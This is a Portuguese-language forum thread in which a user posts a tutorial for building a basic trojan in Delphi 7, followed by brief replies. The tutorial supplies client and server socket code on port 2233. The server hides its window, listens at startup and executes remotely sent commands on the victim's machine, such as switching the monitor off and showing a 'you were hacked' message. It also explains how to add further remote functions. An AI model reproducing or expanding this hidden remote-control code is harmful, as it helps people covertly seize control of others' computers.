[Tutorial] Montando um Trojan Básico

[Hacker Xtreme]

Como montar um trojan em Delphi 7?

Neste tutorial montaremos um  trojan com duas funções, se quiser coloque mais depois... primeiro abra o delphi e instale o ClientSocket e o ServerSocket...

Instalando
Vá em Component>Install Pakages> Add
Na onde esta o campo pra por o nome coloque isso e clique em abrir...

C:\Arquivos de programas\Borland\Delphi7\Bin\dclsockets70.bpl

Depois ok e pronto!

Vá na paleta Internet e pegue o TClientSocket1



Depois de colocar, vá na paleta Standard e coloque 2 Buttons, 1 Edit e 2 Labels organize ele no Form1... O meu fico assim:



Eu deixei o meu assim :D

Clique no Evento OnConnect do ClientSocket1

E digite

Label2.Enabled := False;
Label3.Enabled := True;

o Label2 é o que esta escrito Conectar e o Label3 é o que esta escrito Desconectar...

Agora vá no Evento OnDisconnect e digite:

Label2.Enabled := True;
Label3.Enabled := False;

Depois no Evento OnError digite:

Label2.Enabled := True;

Depois vá no Properties do ClientSocket1
E digite uma porta... vou por 2233 coloque a sua mas, essa é mais fácil...

No botão Desconectar lá em cima de dois cliques e digite:

ClientSocket1.Close;

Agora de dois Cliques no botão Desligar Monitor e digite:

ClientSocket1.Socket.SendText('1 ');

No botão Ligar Montiro digite:

ClientSocket1.Socket.SendText('2 ');

Depois de feito tudo isso salve e compile ele...

Agora inicie uma nova aplicação no delphi...

Vá na paleta Internet e pegue o TServerSocket1 e coloque no Form...
Depois clique no ServerSocket1 e vá no evento OnClientRead
Apague a palavra begin ficando somente isso:

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);

Em baixo disso digite:

var msg : string;
 recv,Entrada  : string;


 begin
 recv:=socket.ReceiveText;

 Entrada:=copy(recv,1,pos(' ',recv)-1);
 Entrada:=uppercase(Entrada);

Ficando assim:

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var msg : string;
 recv,Entrada  : string;


 begin
 recv:=socket.ReceiveText;

 Entrada:=copy(recv,1,pos(' ',recv)-1);
 Entrada:=uppercase(Entrada);


O código acima faz o tratamento dos comandos recebidos...

Agora aperte duas veses a tecla enter e digite:

//Desligar Monitor
if Entrada = '1' then
begin
//Comando...
SendMessage (Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);
end;
//Liga Monitor
if Entrada = '2' then
begin
//Comando...
SendMessage (Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
end;


Explicando quando o cliente envia o número 1, o servidor trata e executa o comando que seria desligar o monitor..
Quando o cliente envia o número 2 ele liga o monitor...

Agora se você quiser colocar mais funções você deve acrescentar no servidor isso:

if Entrada = '3' then
begin
ShowMessage('Você foi hackeado!!');
end;

O número 3 deve ser trocado se quiser tipo você tem 5 funções vai por a 6 você altera o 3 por 6 assim sucessivamente em baixo de begin você coloca o comando ali no caso vai aparecer uma mensagem dizendo Você foi hackeado!!, daí no Cliente você tem que por um botão e no evento OnClick, colocar isso:

ClientSocket1.Socket.SendText('3 ');

Sempre depois do número você deve por espaço... Acho que até ai vocês entenderam... agora vá no Properties do ServerSocket1
e na Port coloque:

2233

No evento OnCreate do Form1 coloque isso:

Application.ShowMainForm:= False;
ServerSocket1.Active := True;

Isso faz com que o Form1 não seja apresentado, faz com que fique invisível... Salve o Servidor... e Compile...[/b]

by Xtreme

[tiaguito-.-]

show de bola kara!curti esse

^.-

[Hacker Xtreme]

vlw ai... se precisarem de ajuda em algo... eu sou iniciante em sockets no delphi

[Anonymous]

Bom msm mas tem como vc colocar as imagens de novo naum ta aparecendo no meu pc .

[Dx]

Bom msm mas tem como vc colocar as imagens de novo naum ta aparecendo no meu pc .

nao tem imagens

[Anonymous]

Putz foi mal entaum xD...
É que quando eu abri apareceu akeles quadradim com um X ai eu achie tinha ....

[Hacker Xtreme]

Tem duas imagens somente... eu tinha hospedado no ueuo.com só que não deu dai hospedei no bol... mas deve ta bloqueando.. quando tiver desocupado eu vejo pra vcs... um bom site pra vcs acharem dicas sobre o delphi é: www.delphi.eti.br da pra vc fazer uma festa... e tbm procurando algumas coisas aqui no fórum da pra fazer novas utilidades para o seu trojan...

by Xtreme